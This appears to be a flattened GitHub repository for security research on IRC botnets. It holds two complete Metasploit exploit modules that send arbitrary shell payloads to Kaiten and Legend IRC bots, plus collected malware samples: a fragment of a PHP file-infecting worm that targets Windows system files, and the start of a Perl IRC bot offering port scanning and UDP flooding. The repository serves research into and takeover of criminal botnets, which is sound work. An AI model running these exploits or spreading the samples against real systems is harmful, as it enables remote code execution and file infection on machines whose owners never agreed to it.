├── LICENSE ├── README.md ├── kaiten_exec.rb ├── legend_bot_exec.rb ├── malicious_samples ├── RC-Worm.PHP.Caracula ├── README.md ├── [QBOT Leak] Prometheus v4.c ├── banyak_irc.pl ├── bossabot.c ├── geoip.php ├── kaiten.c ├── legend.txt ├── magscan?.txt ├── mma.php ├── open_source_repos.md ├── pbot.php ├── timthumbscanner.txt └── w3tw0rk.txt ├── pbot_exec.rb ├── w3tw0rk_exec.rb └── xdh_x_exec.rb /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 JT 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # IRC Bot Hunters 2 | a collection of Metasploit PoC exploits I wrote for IRC Botnets that takes over the owner of a bot which then allows Remote Code Execution. Most IRC Botnets can be taken over by using their herders' usernames or by triggering a certain command which does shell execution. Almost all of the modules here have been accepted in the Metasploit repository. If you are looking for C&C exploit modules or pwning backdoors like r57 / c99 shell, I have also made [some modules](https://github.com/rapid7/metasploit-framework/search?utf8=%E2%9C%93&q=jay+turla) which I have pushed in the main msf repository. 3 | 4 | ![image](https://cloud.githubusercontent.com/assets/3483615/9675972/44986a28-52f7-11e5-8c1a-76cabf835cb6.png) 5 | 6 | # Accepted Metasploit Modules 7 | 8 | w3tw0rk / Pitbul IRC Bot Remote Code Execution - https://www.rapid7.com/db/modules/exploit/multi/misc/w3tw0rk_exec 9 | 10 | Legend Perl IRC Bot Remote Code Execution - https://www.rapid7.com/db/modules/exploit/multi/misc/legend_bot_exec 11 | 12 | Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution - https://www.rapid7.com/db/modules/exploit/multi/misc/xdh_x_exec 13 | 14 | PHP IRC Bot pbot eval() Remote Code Execution (Credited Only) - https://www.rapid7.com/db/modules/exploit/multi/misc/pbot_exec 15 | 16 | # Some References 17 | w3tw0rk / Pitbull Perl IRC Bot Remote Code Execution PoC Exploit - https://www.exploit-db.com/exploits/36652/ 18 | 19 | Legend Perl IRC Bot - Remote Code Execution - https://www.exploit-db.com/exploits/36836/ 20 | 21 | # Inspiration 22 | - MalwareMustDie! 23 | 24 | # Request for Metasploit Modules? 25 | Want an IRC bot pwned or you have an exploit for an IRC bot that you want to be ported to msf? Contact me at shipcodez@gmail.com 26 | 27 | I am always open for suggestions and new modules as long as you give me details and analysis of a new IRC bot in the wild. Save the world from cavities!!! 28 | -------------------------------------------------------------------------------- /kaiten_exec.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | 8 | 9 | class MetasploitModule < Msf::Exploit::Remote 10 | Rank = ExcellentRanking 11 | 12 | include Msf::Exploit::Remote::Tcp 13 | 14 | def initialize(info = {}) 15 | super(update_info(info, 16 | 'Name' => 'Kaiten DDoS IRC Bot Remote Code Execution', 17 | 'Description' => %q{ 18 | This module exploits the remote command execution vulnerability on the kaiten IRC Bot. 19 | kaiten is a known IRC based distributed denial of service client which accepts commands 20 | through its administrator via IRC. 21 | }, 22 | 'Author' => 23 | [ 24 | 'Jay Turla' 25 | ], 26 | 'License' => MSF_LICENSE, 27 | 'References' => 28 | [ 29 | [ 'URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/shellshock-vulnerability-downloads-kaiten-source-code/' ], 30 | [ 'URL', 'http://blog.malwaremustdie.org/2013/05/story-of-unix-trojan-tsunami-ircbot-w.html' ] #MalwareMustDie 31 | ], 32 | 'Platform' => %w{ unix win }, 33 | 'Arch' => ARCH_CMD, 34 | 'Payload' => 35 | { 36 | 'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf 37 | 'DisableNops' => true, 38 | 'Compat' => 39 | { 40 | 'PayloadType' => 'cmd', 41 | } 42 | }, 43 | 'Targets' => 44 | [ 45 | [ 'kaiten', { } ] 46 | ], 47 | 'Privileged' => false, 48 | 'DisclosureDate' => 'Oct 16 2015', 49 | 'DefaultTarget' => 0)) 50 | 51 | register_options( 52 | [ 53 | Opt::RPORT(6667), 54 | OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), 55 | OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']), 56 | OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']) 57 | ], self.class) 58 | end 59 | 60 | def check 61 | connect 62 | 63 | response = register(sock) 64 | if response =~ /463/ or response =~ /464/ 65 | vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") 66 | return Exploit::CheckCode::Unknown 67 | end 68 | 69 | response = join(sock) 70 | if not response =~ /353/ and not response =~ /366/ 71 | vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") 72 | return Exploit::CheckCode::Unknown 73 | end 74 | 75 | quit(sock) 76 | disconnect 77 | 78 | if response =~ /auth/ and response =~ /logged in/ 79 | return Exploit::CheckCode::Vulnerable 80 | else 81 | return Exploit::CheckCode::Safe 82 | end 83 | end 84 | 85 | def send_msg(sock, data) 86 | sock.put(data) 87 | data = "" 88 | begin 89 | read_data = sock.get_once(-1, 1) 90 | while not read_data.nil? 91 | data << read_data 92 | read_data = sock.get_once(-1, 1) 93 | end 94 | rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e 95 | elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") 96 | end 97 | 98 | data 99 | end 100 | 101 | def register(sock) 102 | msg = "" 103 | 104 | if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty? 105 | msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" 106 | end 107 | 108 | if datastore['NICK'].length > 9 109 | nick = rand_text_alpha(9) 110 | print_error("The nick is longer than 9 characters, using #{nick}") 111 | else 112 | nick = datastore['NICK'] 113 | end 114 | 115 | msg << "NICK #{nick}\r\n" 116 | msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" 117 | 118 | response = send_msg(sock,msg) 119 | return response 120 | end 121 | 122 | def join(sock) 123 | join_msg = "JOIN #{datastore['CHANNEL']}\r\n" 124 | response = send_msg(sock, join_msg) 125 | return response 126 | end 127 | 128 | def kaiten_command(sock) 129 | encoded = payload.encoded 130 | command_msg = "PRIVMSG #{datastore['CHANNEL']} :!* SH #{encoded}\r\n" 131 | response = send_msg(sock, command_msg) 132 | return response 133 | end 134 | 135 | def quit(sock) 136 | quit_msg = "QUIT :bye bye\r\n" 137 | sock.put(quit_msg) 138 | end 139 | 140 | def exploit 141 | connect 142 | 143 | print_status("#{peer} - Registering with the IRC Server...") 144 | response = register(sock) 145 | if response =~ /463/ or response =~ /464/ 146 | print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") 147 | return 148 | end 149 | 150 | print_status("#{peer} - Joining the #{datastore['CHANNEL']} channel...") 151 | response = join(sock) 152 | if not response =~ /353/ and not response =~ /366/ 153 | print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") 154 | return 155 | end 156 | 157 | print_status("#{peer} - Exploiting the kaiten IRC bot...") 158 | kaiten_command(sock) 159 | 160 | quit(sock) 161 | disconnect 162 | end 163 | end 164 | -------------------------------------------------------------------------------- /legend_bot_exec.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | 8 | class MetasploitModule < Msf::Exploit::Remote 9 | 10 | Rank = ExcellentRanking 11 | 12 | include Msf::Exploit::Remote::Tcp 13 | 14 | def initialize(info = {}) 15 | super(update_info(info, 16 | 'Name' => 'Legend Perl IRC Bot Remote Code Execution', 17 | 'Description' => %q{ 18 | This module exploits a remote command execution on the Legend Perl IRC Bot . 19 | This bot has been used as a payload in the Shellshock spam last October 2014. 20 | This particular bot has functionalities like NMAP scanning, TCP, HTTP, SQL, and 21 | UDP flooding, the ability to remove system logs, and ability to gain root, and 22 | VNC scanning. 23 | 24 | Kevin Stevens, a Senior Threat Researcher at Damballa has uploaded this script 25 | to VirusTotal with a md5 of 11a9f1589472efa719827079c3d13f76. 26 | }, 27 | 'Author' => 28 | [ 29 | 'Jay Turla' # msf and initial discovery 30 | ], 31 | 'License' => MSF_LICENSE, 32 | 'References' => 33 | [ 34 | [ 'OSVDB', '121681' ], 35 | [ 'EDB', '36836' ], 36 | [ 'URL', 'https://www.damballa.com/perlbotnado/' ], 37 | [ 'URL', 'http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html' ] # Shellshock spam October 2014 details 38 | ], 39 | 'Platform' => %w{ unix win }, 40 | 'Arch' => ARCH_CMD, 41 | 'Payload' => 42 | { 43 | 'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf 44 | 'DisableNops' => true, 45 | 'Compat' => 46 | { 47 | 'PayloadType' => 'cmd' 48 | } 49 | }, 50 | 'Targets' => 51 | [ 52 | [ 'Legend IRC Bot', { } ] 53 | ], 54 | 'Privileged' => false, 55 | 'DisclosureDate' => 'Apr 27 2015', 56 | 'DefaultTarget' => 0)) 57 | 58 | register_options( 59 | [ 60 | Opt::RPORT(6667), 61 | OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), 62 | OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']), 63 | OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']) 64 | ], self.class) 65 | end 66 | 67 | def check 68 | connect 69 | 70 | res = register(sock) 71 | if res =~ /463/ || res =~ /464/ 72 | vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") 73 | return Exploit::CheckCode::Unknown 74 | end 75 | 76 | res = join(sock) 77 | if !res =~ /353/ && !res =~ /366/ 78 | vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") 79 | return Exploit::CheckCode::Unknown 80 | end 81 | 82 | quit(sock) 83 | disconnect 84 | 85 | if res =~ /auth/ && res =~ /logged in/ 86 | Exploit::CheckCode::Vulnerable 87 | else 88 | Exploit::CheckCode::Safe 89 | end 90 | end 91 | 92 | def send_msg(sock, data) 93 | sock.put(data) 94 | data = "" 95 | begin 96 | read_data = sock.get_once(-1, 1) 97 | while !read_data.nil? 98 | data << read_data 99 | read_data = sock.get_once(-1, 1) 100 | end 101 | rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e 102 | elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") 103 | end 104 | 105 | data 106 | end 107 | 108 | def register(sock) 109 | msg = "" 110 | 111 | if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty? 112 | msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" 113 | end 114 | 115 | if datastore['NICK'].length > 9 116 | nick = rand_text_alpha(9) 117 | print_error("The nick is longer than 9 characters, using #{nick}") 118 | else 119 | nick = datastore['NICK'] 120 | end 121 | 122 | msg << "NICK #{nick}\r\n" 123 | msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" 124 | 125 | send_msg(sock,msg) 126 | end 127 | 128 | def join(sock) 129 | join_msg = "JOIN #{datastore['CHANNEL']}\r\n" 130 | send_msg(sock, join_msg) 131 | end 132 | 133 | def legend_command(sock) 134 | encoded = payload.encoded 135 | command_msg = "PRIVMSG #{datastore['CHANNEL']} :!legend #{encoded}\r\n" 136 | send_msg(sock, command_msg) 137 | end 138 | 139 | def quit(sock) 140 | quit_msg = "QUIT :bye bye\r\n" 141 | sock.put(quit_msg) 142 | end 143 | 144 | def exploit 145 | connect 146 | 147 | print_status("#{rhost}:#{rport} - Registering with the IRC Server...") 148 | res = register(sock) 149 | if res =~ /463/ || res =~ /464/ 150 | print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") 151 | return 152 | end 153 | 154 | print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...") 155 | res = join(sock) 156 | if !res =~ /353/ && !res =~ /366/ 157 | print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") 158 | return 159 | end 160 | 161 | print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...") 162 | legend_command(sock) 163 | 164 | quit(sock) 165 | disconnect 166 | end 167 | 168 | end 169 | -------------------------------------------------------------------------------- /malicious_samples/RC-Worm.PHP.Caracula: -------------------------------------------------------------------------------- 1 | "); 212 | return; 213 | } 214 | } 215 | closedir($aa); 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | // search for ocx, sys, bat, exe, vxd file in c:\windows\system\ 226 | 227 | $systems = opendir('C:\Windows\System'); 228 | while ($filesys = readdir($systems)) 229 | { 230 | 231 | $infected = true; 232 | $systemexe = false; 233 | 234 | if ( ($systemexe = strstr ($filesys, '.sys')) || ($systemexe = strstr ($filesys, '.vxd')) || ($systemexe = strstr ($filesys, '.bat')) || ($systemexe = strstr ($filesys, '.exe')) || ($systemexe = strstr ($filesys, '.ocx')) ) 235 | if ( (is_writeable($filesys) ) 236 | { 237 | 238 | $sysk = fopen($filesys, "r"); 239 | $xst = fread($sysk, filesize($filesys); 240 | $good = strstr ($xst, 'Are you ready to slide with Caracula ???'); 241 | if (!$good) $infected = false; 242 | } 243 | 244 | if ( ($infected=false) ) 245 | { 246 | $sysk = fopen($filesys, "a"); 247 | $fputs($sysk, "Are you read to slide with Caracula ??? I'm ready but you don't!!! PHP.Caracula - slide now"); 248 | return; 249 | } 250 | } 251 | closedir($systems); 252 | 253 | 254 | echo $ree; 255 | echo $string_q; 256 | 257 | ?> 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | -------------------------------------------------------------------------------- /malicious_samples/README.md: -------------------------------------------------------------------------------- 1 | Warning!!! These are malicious files and are for educational purposes. 2 | 3 | All the files in this directory are not mine 4 | -------------------------------------------------------------------------------- /malicious_samples/banyak_irc.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | #-Charles-220513- (@Command List shipcode_jjt) 4 | #-Charles-220513- (@Copyright (C) 2007) 5 | #-Charles-220513- <————————————————> 6 | #-Charles-220513- (!bht) (@help) 7 | #-Charles-220513- (!bht) (@portscan) 8 | #-Charles-220513- (!bht) (@udpflood)